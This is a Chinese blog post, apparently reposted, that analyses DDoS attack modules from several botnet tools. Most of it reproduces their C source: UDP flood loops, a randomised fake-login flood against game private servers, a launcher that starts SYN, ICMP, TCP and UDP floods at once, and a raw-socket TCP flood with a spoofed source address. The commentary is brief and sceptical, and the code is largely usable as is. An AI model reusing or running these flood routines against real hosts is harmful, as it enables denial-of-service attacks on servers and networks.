对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇
来源:互联网 发布:ardupilot3.3源码下载 编辑:程序博客网 时间:2024/06/04 18:56
//=================================================================================
文章作者:alalmn—飞龙
分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
没发现什么新鲜的东西还是以发送垃圾数据为主
//=================================================================================
Maxer-路由专攻-传奇专攻.h
//LUYOU攻击
DWORD WINAPI LuyouFlood(LPVOID dParam) //路由专攻 这样是攻击 路由吗我看和其他发包一样 忽悠老百姓呢
{ //我看就socket这个地方使用了使用了UDP啊 没什么的啊
srand((unsigned)time( NULL )); //产生随机数
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN udpaddr;//IP信息结构
udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket IPPROTO_UDP是创建UDP socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
while(1) //死循环
{
if(IsStop==1) //判断攻击状态
{
ExitThread(0);
return 0;
}
for(int a=0;a<12;a++)
{
int sendsize=rand()%512;//随机数据
char senddata[1024];
senddata[sendsize];
memset(senddata,sendsize,sendsize); //随机数据长度 信息
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //发送TCP报文
}
Sleep(20);
}
}
/************************************************************************/
//LUYOU攻击
DWORD WINAPI LuyouFlood(LPVOID dParam) //传奇专攻 我还想着是模拟用户登陆传奇呢!!!! 失望
{//只设置1线程 防止IP被封
srand((unsigned)time( NULL ));
PDDOSINFO pddosinfo = (PDDOSINFO)dParam; //攻击结构体
DDOSINFO ddosinfo; //攻击结构体
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//复制内存
WSADATA WSAData;//这个结构被用来存储 被WSAStartup函数调用后返回的 Windows Sockets 数据
WSAStartup(MAKEWORD(2,2) ,&WSAData);//确定SOCKET版本
SOCKADDR_IN udpaddr;//IP信息结构
udpaddr.sin_family=AF_INET;//sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//将网络地址转换成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket IPPROTO_UDP是创建UDP socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
//为了减小CPU的利用率,禁止在socket上将数据发送到缓冲。设置SO_SNDBUF为0,
//从而使winsock直接发送数据到客户端,而不是将数据缓冲才发送。
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
while(1) //死循环
{
if(IsStop==1) //判断攻击状态
{
ExitThread(0);
return 0;
}
for(int a=0;a<12;a++)
{
int sendsize=rand()%512;//随机数据
char senddata[1024];
senddata[sendsize];
memset(senddata,sendsize,sendsize); //随机数据长度 信息
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //发送TCP报文
}
Sleep(20);
}
}
//=================================================================================
NetBot_Attacker-私服专攻.h
int Mir2EnCode(BYTE *pInBuff,DWORD dwInLen,BYTE *pOut,DWORD dwOutLen)
{
DWORD var_20 = 0;
BYTE var_1B = 0;
BYTE var_1A = 0;
BYTE var_19 = 0;
DWORD var_18 = 0;
DWORD var_14 = 0;
DWORD var_10 = 0;
DWORD var_C = 0;
DWORD var_8 = 0;
DWORD var_4 = 0;
BYTE bAL = 0;
BYTE bCL = 0;
DWORD dwEAX;
DWORD dwEDX;
DWORD dwECX;
var_20 = dwInLen ;
while(var_20 >0)
{
dwEDX = var_10 ;
bAL = pInBuff[dwEDX];
var_1A = bAL ;
dwECX = var_14 ;
dwECX = dwECX +2;
bAL = var_1A;
dwEAX = bAL ;
dwEAX = dwEAX >> dwECX ;
bAL = dwEAX ;
bAL = bAL | var_1B;
bAL = bAL & 0x3F;
var_19 = bAL;
dwEAX = var_14 ;
dwEAX = dwEAX +2;
dwECX = 8;
dwECX = dwECX - dwEAX ;
bAL = var_1A;
dwEAX = bAL ;
dwEAX = dwEAX << dwECX ;
dwEAX = dwEAX >> 2;
bAL = dwEAX ;
bAL = bAL & 0x3F ;
var_1B = bAL ;
var_14 = var_14 +2;
if(var_14<6)
{
dwEDX = var_18;
bCL = var_19;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
var_18 = var_18 +1;
}
else
{
dwEDX = var_18;
bCL = var_19;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
dwEDX = var_18 ;
bCL = var_1B ;
bCL = bCL + 0x3C;
pOut[dwEDX+1] = bCL ;
var_18 = var_18 + 2;
dwEAX = 0;
var_14 = 0;
var_1B = 0;
}
var_10 = var_10 +1;
var_20 = var_20 -1;
}
if(var_14 > 0)
{
dwEDX = var_18;
bCL = var_1B;
bCL = bCL + 0x3C ;
pOut[dwEDX] = bCL ;
var_18 = var_18 +1;
}
dwOutLen = var_18;
pOut[var_18]=0;
return 1;
}
typedef struct
{
union
{
DWORD dwFlag;
struct
{
WORD wa;
WORD wb;
};
};
WORD wCmd;
WORD w1;
WORD w2;
WORD w3;
char data[1024];
}MMSG;
const char table[]="0123456789abcdefghijklmnopqrstuvwxyz";
unsigned long CALLBACK Login_Attack(LPVOID dParam) //私服专攻
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //sin_family 地址家族(必须是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort); //存储端口号(使用网络字节顺序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP); //将网络地址转换成IP地址
MMSG *pmsg;
pmsg=(MMSG*)malloc(sizeof(MMSG));
memset(pmsg,0,sizeof(MMSG)); //内存空间初始化
pmsg->wCmd=0x07d1;
int nSize,RandSize;
char name[22],pass[10],tempdata[128],Senddata[128];
memset(name,0,22);//内存空间初始化
memset(pass,0,10);//内存空间初始化
memset(tempdata,0,128);//内存空间初始化
memset(Senddata,0,128);//内存空间初始化
while(!stopfuck)
{
do
{
RandSize=SEU_Rand(20); //自定义的随机数发生器
} while(RandSize<5);
for(int i=0;i<RandSize;i++)
{
name=table[SEU_Rand(36)]; //自定义的随机数发生器
}
for(i=0;i<9;i++)
{
pass=table[SEU_Rand(36)]; //自定义的随机数发生器
}
sprintf(pmsg->data,"%s/%s",name,pass); //字符格式化
RandSize = strlen(pmsg->data) +12; //strlen计算字符长度
Mir2EnCode((BYTE *)pmsg,RandSize,(BYTE *)tempdata,nSize); //没明白他这个是做什么
sprintf(Senddata,"#0%s!",tempdata); //字符格式化
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
{
closesocket(m_hSocket); //关闭SOCKET
continue; //退出本次循环
}
if(SOCKET_ERROR==send(m_hSocket,Senddata,strlen(Senddata),0))//发送消息 是否发送成功
continue; //退出本次循环
recv(m_hSocket,tempdata,128,0); //从一个套接口接收数据
closesocket(m_hSocket); //关闭SOCKET
}
return 1;
}
/************************************************************************/
路由专攻 //代码被删除了
pMainDlg->m_FuckWeb.FuckType=11;
智能混合攻击 //结合着一些攻击模式
pMainDlg->m_FuckWeb.FuckType=12;
::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
/************************************************************************/
//
暴风DDOSVIP2010-225---聊天室专用模式(流量).h
void ltsattack() //聊天室专用模式(流量) 聊天室都是使用UDP协议 创建协议的时候改成UDP就可以了
{
char senddata[MAX_PATH]="夂扇i鋺.牾.砝摝c5. 軫f玴.吤3?峌贄."; //攻击数据
int sendsize=strlen(senddata); //计算数据长度
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //存储端口号(使用网络字节顺序)
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket IPPROTO_UDP是创建UDP socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项 设置发送和接收的超时 //SOCKET_ERROR创建错误
for (;;)
{
if(StopFlag==1)//是否在攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<12;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //发送UDP报文
Sleep(SleepTime);
}
closesocket(s); //关闭SOCKET
WSACleanup();
}
/************************************************************************/
void finattack()
{
srand((unsigned) time(NULL));
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
SOCKET SendSocket;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
char rawip[20]="192.168.1.244";
char SendBuff[100];
SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED );
if( SendSocket == INVALID_SOCKET )
return;
BOOL Flag = TRUE;
if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR )
return;
int Timeout = 5000;
if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR )
return;
SOCKADDR_IN Sin;
Sin.sin_family = AF_INET;
Sin.sin_port = tgtPort;
Sin.sin_addr.s_addr = inet_addr(tgtIP);
ip_header.h_verlen = (4<<4 | sizeof(ip_header)/sizeof(unsigned long));
ip_header.tos = 0;
ip_header.total_len = htons(sizeof(ip_header)+sizeof(tcp_header));
ip_header.ident = 1;
ip_header.frag_and_flags = 0x40;
ip_header.ttl = rand()%256;
ip_header.proto = IPPROTO_TCP;
ip_header.checksum = 0;
ip_header.sourceIP = inet_addr(rawip);
ip_header.destIP = inet_addr(tgtIP);
tcp_header.th_sport = htons( rand()%60000 + 1 );
tcp_header.th_dport = htons( tgtPort );
tcp_header.th_seq = htonl( rand()%900000000 + 1 );
tcp_header.th_ack = 0;
tcp_header.th_lenres = (sizeof(tcp_header)/4<<4|0);
tcp_header.th_flag = 0;
tcp_header.th_win = htons(512);
tcp_header.th_sum = 0;
tcp_header.th_urp = 0;
psd_header.saddr = ip_header.sourceIP;
psd_header.daddr = ip_header.destIP;
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP;
psd_header.tcpl = htons(sizeof(tcp_header));
memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header, sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
while (1)
{
if (StopFlag == 1)
{
ExitThread(0);
return;
}
for(int a=0;a<1000;a++)
sendto(SendSocket, SendBuff, sizeof(ip_header) + sizeof(tcp_header), 0, (struct sockaddr *) &Sin, sizeof(Sin));
Sleep(SleepTime);
}
return;
}
else if (hua=="模拟访问(网站)") //代码被删除了
{
bao=6;
}
else if (hua=="模拟Linux(网站)") //代码被删除
{
bao=18;
}
else if (hua=="聊天室专用模式(流量)") //有
{
bao=19;
}
else if (hua=="IE浏览模式(网站)") //没有对这个攻击模式的处理
{
bao=25;
}
//=========================================================
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----GET篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----ICMP篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
- 对现有的所能找到个DDOS代码(攻击模块)做出一次分析----TCP篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇
- 一次DDOS攻击引起的安全漫谈
- 一次真实的DDoS攻击防御实战
- 发现最新式的DDOS攻击方式
- DDoS的攻击方式及防御手段
- 谈DoS攻击和DDoS的攻击方式
- DDOS攻击是现在最常见的黑客攻击方式
- DDOS攻击的解决方法
- 常见的DDoS攻击
- 对一次网络钓鱼攻击的逆向分析 20160722
- Scala深入浅出进阶经典 第84讲:Scala中List和ListBuffer设计实现思考
- 记录——《C Primer Plus (第五版)》第八章编程练习第二题
- noip2011 统计单词数 (模拟)
- 数据库连接、操作(封装使用)
- php冒泡排序
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇
- 数据结构实验1-顺序表-各种操作
- 02_栈
- HttpServletRequest.getParameter()出现乱码现象解决方案
- 条款45:运用成员函数模板接受所有兼容类型
- android开发环境搭建
- JAVA泛型擦除机制
- 忙,忙,忙!
- Java循环链表实现约瑟夫环